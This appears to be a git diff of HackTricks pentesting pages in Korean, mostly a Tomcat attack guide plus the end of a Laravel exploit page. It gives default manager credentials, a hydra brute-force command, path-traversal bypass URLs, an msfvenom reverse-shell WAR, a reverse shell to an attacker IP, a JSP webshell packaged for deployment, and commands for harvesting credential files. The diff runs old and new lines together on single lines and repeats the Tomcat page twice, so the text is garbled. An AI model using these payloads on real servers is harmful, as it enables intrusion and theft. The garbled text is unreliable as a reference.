[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 를 사용하여 테스트하고 악용할 수 있습니다.\ [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 를 사용하여 테스트하고 악용할 수 있습니다.\
또는 metasploit을 사용하여 악용할 수도 있습니다: `use unix/http/laravel_token_unserialize_exec` 또는 메타스플로잇을 사용하여 악용할 수도 있습니다: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129 ### CVE-2021-3129
다른 직렬화: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) 다른 직렬화: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection ### Laravel SQLInjection
여기에서 이에 대한 정보를 읽을 수 있습니다: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) 여기에서 이에 대한 정보를 읽어보세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,53 +1,58 @@
# 톰캣 # Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
## 발견 ## Discovery
* 보통 **포트 8080**에서 실행됩니다. * 일반적으로 **포트 8080**에서 실행됩니다.
* **일반적인 톰캣 오류:** * **일반적인 Tomcat 오류:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## 열거 ## Enumeration
### **버전 식별** ### **Version Identification**
Apache Tomcat의 버전을 찾으려면 간단한 명령을 실행할 수 있습니다: Apache Tomcat의 버전을 찾기 위해 간단한 명령을 실행할 수 있습니다:
```bash ```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
이것은 문서 인덱스 페이지에서 "Tomcat"이라는 용어를 검색하여 HTML 응답의 제목 태그에서 버전을 드러냅니다.
### **매니저 파일 위치** ### **매니저 파일 위치**
**`/manager`** 및 **`/host-manager`** 디렉토리의 정확한 위치를 식별하는 것은 중요합니다. 이들 페이지의 이름이 변경될 수 있으므로 무차별 대입 검색이 권장됩니다. **`/manager`** 및 **`/host-manager`** 디렉토리의 정확한 위치를 식별하는 것은 중요합니다. 이름이 변경될 수 있기 때문입니다. 이러한 페이지를 찾기 위해 무차별 대입 검색을 권장합니다.
### **사용자 열거** ### **사용자 이름 열거**
Tomcat 버전 6보다 오래된 경우, 다음을 통해 사용자명을 열거할 수 있습니다: Tomcat 6보다 이전 버전에서는 다음을 통해 사용자 이름을 열거할 수 있습니다:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_enum msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **기본 자격 증명** ### **기본 자격 증명**
**`/manager/html`** 디렉토리는 WAR 파일의 업로드 및 배포를 허용하여 코드 실행으로 이어질 수 있기 때문에 특히 민감합니다. 이 디렉토리는 일반적으로 다음과 같은 기본 HTTP 인증으로 보호됩니다: **`/manager/html`** 디렉토리는 WAR 파일의 업로드 및 배포를 허용하므로 특히 민감합니다. 이 디렉토리는 기본 HTTP 인증으로 보호되며, 일반적인 자격 증명은 다음과 같습니다:
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -56,33 +61,35 @@ msf> use auxiliary/scanner/http/tomcat_enum
* tomcat:s3cr3t * tomcat:s3cr3t
* admin:tomcat * admin:tomcat
러한 자격 증명은 다음을 사용하여 테스트할 수 있습니다: 이 자격 증명은 다음을 사용하여 테스트할 수 있습니다:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
다른 주목할만한 디렉토리는 **`/manager/status`**이며, 이는 Tomcat 및 OS 버전을 표시하여 취약점 식별을 돕습니다. 다른 주목할 만한 디렉토리는 **`/manager/status`**로, Tomcat 및 OS 버전을 표시하여 취약점 식별에 도움을 줍니다.
### **무차별 대입 공격** ### **무차별 대입 공격**
manager 디렉토리에 대한 무차별 대입 공격을 시도하려면 다음을 사용할 수 있습니다: 관리자 디렉토리에 무차별 대입 공격을 시도하려면 다음을 사용할 수 있습니다:
```bash ```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
``` ```
## 일반 취약점 Along with setting various parameters in Metasploit to target a specific host.
### **비밀번호 백트레이스 노출** ## Common Vulnerabilities
`/auth.jsp`에 액세스하면 운좋게 비밀번호가 백트레이스에 노출될 수 있습니다. ### **Password Backtrace Disclosure**
### **이중 URL 인코딩** `/auth.jsp`에 접근하면 운이 좋을 경우 백트레이스에서 비밀번호가 노출될 수 있습니다.
`mod_jk`의 CVE-2007-1860 취약점은 이중 URL 인코딩 경로 이동을 허용하여 특별히 만들어진 URL을 통해 관리 인터페이스에 무단 액세스할 수 있게 합니다. ### **Double URL Encoding**
Tomcat의 관리 웹에 액세스하려면 다음 경로로 이동하십시오: `pathTomcat/%252E%252E/manager/html` `mod_jk`의 CVE-2007-1860 취약점은 이중 URL 인코딩 경로 탐색을 허용하여, 특별히 제작된 URL을 통해 관리 인터페이스에 무단으로 접근할 수 있게 합니다.
Tomcat의 관리 웹에 접근하려면 다음으로 이동하십시오: `pathTomcat/%252E%252E/manager/html`
### /examples ### /examples
Apache Tomcat 버전 4.x에서 7.x에는 정보 노출 및 크로스사이트 스크립팅(XSS) 공격에 취약한 예제 스크립트가 포함되어 있습니다. 이러한 스크립트는 무단 액세스 및 잠재적인 악용을 확인해야 합니다. [자세한 정보는 여기에서 확인하세요](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) Apache Tomcat 버전 4.x에서 7.x까지는 정보 노출 및 교차 사이트 스크립팅(XSS) 공격에 취약한 예제 스크립트를 포함하고 있습니다. 이 스크립트는 포괄적으로 나열되어 있으며, 무단 접근 및 잠재적 악용 여부를 확인해야 합니다. [자세한 정보는 여기에서 확인하세요](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -107,21 +114,21 @@ Apache Tomcat 버전 4.x에서 7.x에는 정보 노출 및 크로스사이트
* /examples/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### **경로 이동 공격** ### **Path Traversal Exploit**
일부 [**Tomcat의 취약한 구성**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)에서는 경로 `/..;/`를 사용하여 Tomcat의 보호된 디렉토리에 액세스할 수 있습니다. 일부 [**Tomcat의 취약한 구성**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)에서는 경로 `/..;/`를 사용하여 Tomcat의 보호된 디렉토리에 접근할 수 있습니다.
예를 들어, 다음 경로로 **Tomcat 관리자** 페이지에 액세스할 수 있습니다: `www.vulnerable.com/lalala/..;/manager/html` 예를 들어, `www.vulnerable.com/lalala/..;/manager/html`에 접근하여 **Tomcat 관리자** 페이지에 접근할 수 있을 것입니다.
이 요령을 사용하여 보호된 경로를 우회하는 **또 다른 방법**은 `http://www.vulnerable.com/;param=value/manager/html`에 액세스하는 것입니다. **또 다른 방법**으로는 이 트릭을 사용하여 보호된 경로를 우회하는 것이며, `http://www.vulnerable.com/;param=value/manager/html`에 접근하는 것입니다.
## RCE ## RCE
마지막으로, Tomcat 웹 응용프로그램 관리자에 액세스할 수 있다면 **.war 파일을 업로드하고 배포하여 코드를 실행**할 수 있습니다. 마지막으로, Tomcat 웹 애플리케이션 관리에 접근할 수 있다면 **.war 파일을 업로드하고 배포할 수 있습니다(코드 실행)**.
### 제한 사항 ### Limitations
**권한이 충분하다면**(역할: **admin**, **manager****manager-script**), WAR를 배포할 수 있습니다. 이러한 세부 정보는 일반적으로 `/usr/share/tomcat9/etc/tomcat-users.xml`에 정의된 _tomcat-users.xml_에서 찾을 수 있습니다(버전에 따라 다름) (자세한 내용은 [POST](tomcat.md#post) 섹션 참조). **충분한 권한**(역할: **admin**, **manager****manager-script**)이 있는 경우에만 WAR를 배포할 수 있습니다. 이러한 세부정보는 일반적으로 `/usr/share/tomcat9/etc/tomcat-users.xml`에 정의된 _tomcat-users.xml_에서 찾을 수 있습니다(버전마다 다를 수 있음) (자세한 내용은 [POST ](tomcat.md#post)section)을 참조하십시오).
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -131,9 +138,7 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
# undeploy # undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
``` ```
### Metasploit ### 메타스플로잇
### Metasploit
```bash ```bash
use exploit/multi/http/tomcat_mgr_upload use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP> msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -148,31 +153,31 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
```bash ```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
``` ```
### `revshell.war` 파일을 업로드하고 접근 (`/revshell/`): 2. `revshell.war` 파일을 업로드하고 접근합니다 (`/revshell/`):
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)를 사용하여 바인드 및 역쉘을 설정합니다. ### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)를 이용한 바인드 및 리버스 셸
일부 시나리오에서는 작동하지 않을 수 있습니다 (예: sun의 이전 버전) 일부 시나리오에서는 이 방법이 작동하지 않습니다 (예: 구버전의 sun)
#### 다운로드 #### 다운로드
```bash ```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git git clone https://github.com/mgeeky/tomcatWarDeployer.git
``` ```
#### 리버스 #### 리버스
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
``` ```
#### 바인드 #### 바인드
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
``` ```
### [Culsterd](https://github.com/hatRiot/clusterd) 사용하기 ### Using [Culsterd](https://github.com/hatRiot/clusterd)
```bash ```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
``` ```
### 수동 방법 - 웹 ### 수동 방법 - 웹
다음 [콘텐츠](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)로 **index.jsp**를 생성하세요: **index.jsp**를 이 [내용](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)으로 만듭니다:
```java ```java
<FORM METHOD=GET ACTION='index.jsp'> <FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text> <INPUT name='cmd' type=text>
@ -203,9 +208,11 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
이것을 설치할 수도 있습니다 (업로드, 다운로드 및 명령 실행을 허용합니다): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### 수동 방법 2 ### 수동 방법 2
[JSP 웹 쉘](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)을 가져와 WAR 파일을 생성하십시오: [이것](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)와 같은 JSP 웹 셸을 가져와 WAR 파일을 만드세요:
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -214,11 +221,11 @@ zip -r backup.war cmd.jsp
``` ```
## POST ## POST
톰캣 자격 증명 파일의 이름은 _tomcat-users.xml_입니다. Tomcat 자격 증명 파일의 이름은 _tomcat-users.xml_입니다.
```bash ```bash
find / -name tomcat-users.xml 2>/dev/null find / -name tomcat-users.xml 2>/dev/null
``` ```
다른 Tomcat 자격 증명을 수집하는 방법: Tomcat 자격 증명을 수집하는 다른 방법:
```bash ```bash
msf> use post/multi/gather/tomcat_gather msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat msf> use post/windows/gather/enum_tomcat
@ -227,25 +234,28 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## 참고 자료 ## 참고문헌
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사에서 일하시나요? 귀하의 회사가 HackTricks에 광고되길 원하시나요? 또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!** * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 톰캣 # Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>을 통해 제로부터 영웅까지 AWS 해킹을 배우세요!</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요**.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -20,34 +23,36 @@
*** ***
## 발견 ## Discovery
* 보통 **포트 8080**에서 실행됩니다 * 일반적으로 **포트 8080**에서 실행됩니다.
* **일반적인 톰캣 오류:** * **일반적인 Tomcat 오류:**
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
## 열거 ## Enumeration
### **버전 식별** ### **Version Identification**
Apache Tomcat의 버전을 찾으려면 간단한 명령을 실행할 수 있습니다: Apache Tomcat의 버전을 찾기 위해 간단한 명령을 실행할 수 있습니다:
```bash ```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
이것은 문서 인덱스 페이지에서 "Tomcat"이라는 용어를 검색하여 HTML 응답의 제목 태그에서 버전을 드러냅니다.
### **매니저 파일 위치** ### **매니저 파일 위치**
**`/manager`** 및 **`/host-manager`** 디렉토리의 정확한 위치를 식별하는 것은 중요합니다. 이들 페이지의 이름이 변경될 수 있으므로 무차별 대입 검색이 권장됩니다. **`/manager`** 및 **`/host-manager`** 디렉토리의 정확한 위치를 식별하는 것은 중요합니다. 이름이 변경될 수 있기 때문입니다. 이러한 페이지를 찾기 위해 무차별 대입 검색을 권장합니다.
### **사용자 열거** ### **사용자 이름 열거**
Tomcat 버전 6보다 오래된 경우, 다음을 통해 사용자명을 열거할 수 있습니다: Tomcat 6보다 이전 버전에서는 다음을 통해 사용자 이름을 열거할 수 있습니다:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_enum msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **기본 자격 증명** ### **기본 자격 증명**
**`/manager/html`** 디렉토리는 WAR 파일의 업로드 및 배포를 허용하여 코드 실행으로 이어질 수 있기 때문에 특히 민감합니다. 이 디렉토리는 일반적으로 다음과 같은 기본 HTTP 인증으로 보호됩니다: **`/manager/html`** 디렉토리는 WAR 파일의 업로드 및 배포를 허용하므로 특히 민감합니다. 이 디렉토리는 기본 HTTP 인증으로 보호되며, 일반적인 자격 증명은 다음과 같습니다:
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -56,33 +61,35 @@ msf> use auxiliary/scanner/http/tomcat_enum
* tomcat:s3cr3t * tomcat:s3cr3t
* admin:tomcat * admin:tomcat
러한 자격 증명은 다음을 사용하여 테스트할 수 있습니다: 이 자격 증명은 다음을 사용하여 테스트할 수 있습니다:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
다른 주목할만한 디렉토리는 **`/manager/status`**이며, Tomcat 및 OS 버전을 표시하여 취약점 식별을 돕습니다. 다른 주목할 만한 디렉토리는 **`/manager/status`**로, Tomcat 및 OS 버전을 표시하여 취약점 식별에 도움을 줍니다.
### **무차별 대입 공격** ### **무차별 대입 공격**
manager 디렉토리에 대한 무차별 대입 공격을 시도하려면 다음을 사용할 수 있습니다: 관리자 디렉토리에 무차별 대입 공격을 시도하려면 다음을 사용할 수 있습니다:
```bash ```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
``` ```
## 일반 취약점 Along with setting various parameters in Metasploit to target a specific host.
### **비밀번호 백트레이스 노출** ## Common Vulnerabilities
`/auth.jsp`에 접근하면 운좋게 비밀번호가 백트레이스에 노출될 수 있습니다. ### **Password Backtrace Disclosure**
### **이중 URL 인코딩** `/auth.jsp`에 접근하면 운이 좋을 경우 백트레이스에서 비밀번호가 노출될 수 있습니다.
`mod_jk`의 CVE-2007-1860 취약점은 이중 URL 인코딩 경로 이동을 허용하여 특별히 만들어진 URL을 통해 관리 인터페이스에 무단 액세스할 수 있게 합니다. ### **Double URL Encoding**
Tomcat의 관리 웹에 액세스하려면 다음 경로로 이동하십시오: `pathTomcat/%252E%252E/manager/html` `mod_jk`의 CVE-2007-1860 취약점은 이중 URL 인코딩 경로 탐색을 허용하여, 특별히 조작된 URL을 통해 관리 인터페이스에 무단 접근할 수 있게 합니다.
Tomcat의 관리 웹에 접근하려면 다음으로 이동하십시오: `pathTomcat/%252E%252E/manager/html`
### /examples ### /examples
Apache Tomcat 버전 4.x에서 7.x에는 정보 노출 및 크로스사이트 스크립팅(XSS) 공격에 취약한 예제 스크립트가 포함되어 있습니다. 이러한 스크립트는 무단 액세스 및 잠재적인 악용을 확인해야 합니다. [자세한 정보는 여기에서 확인하세요](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) Apache Tomcat 버전 4.x에서 7.x까지는 정보 노출 및 교차 사이트 스크립팅(XSS) 공격에 취약한 예제 스크립트를 포함하고 있습니다. 이 스크립트는 포괄적으로 나열되어 있으며, 무단 접근 및 잠재적 악용 여부를 확인해야 합니다. [자세한 정보는 여기에서 확인하세요](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -107,21 +114,21 @@ Apache Tomcat 버전 4.x에서 7.x에는 정보 노출 및 크로스사이트
* /examples/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### **경로 이동 공격** ### **Path Traversal Exploit**
일부 [**Tomcat의 취약 구성**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)에서는 경로 `/..;/`를 사용하여 Tomcat의 보호된 디렉토리에 액세스할 수 있습니다. 일부 [**Tomcat의 취약 구성**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)에서는 경로 `/..;/`를 사용하여 Tomcat의 보호된 디렉토리에 접근할 수 있습니다.
예를 들어, 다음 경로를 통해 **Tomcat 관리자** 페이지에 액세스할 수 있습니다: `www.vulnerable.com/lalala/..;/manager/html` 예를 들어, `www.vulnerable.com/lalala/..;/manager/html`에 접근하여 **Tomcat 관리자** 페이지에 접근할 수 있을 것입니다.
요령을 사용하여 보호된 경로를 우회하는 **또 다른 방법**은 `http://www.vulnerable.com/;param=value/manager/html`액세스하는 것입니다. 트릭을 사용하여 보호된 경로를 우회하는 **또 다른 방법**은 `http://www.vulnerable.com/;param=value/manager/html`접근하는 것입니다.
## RCE ## RCE
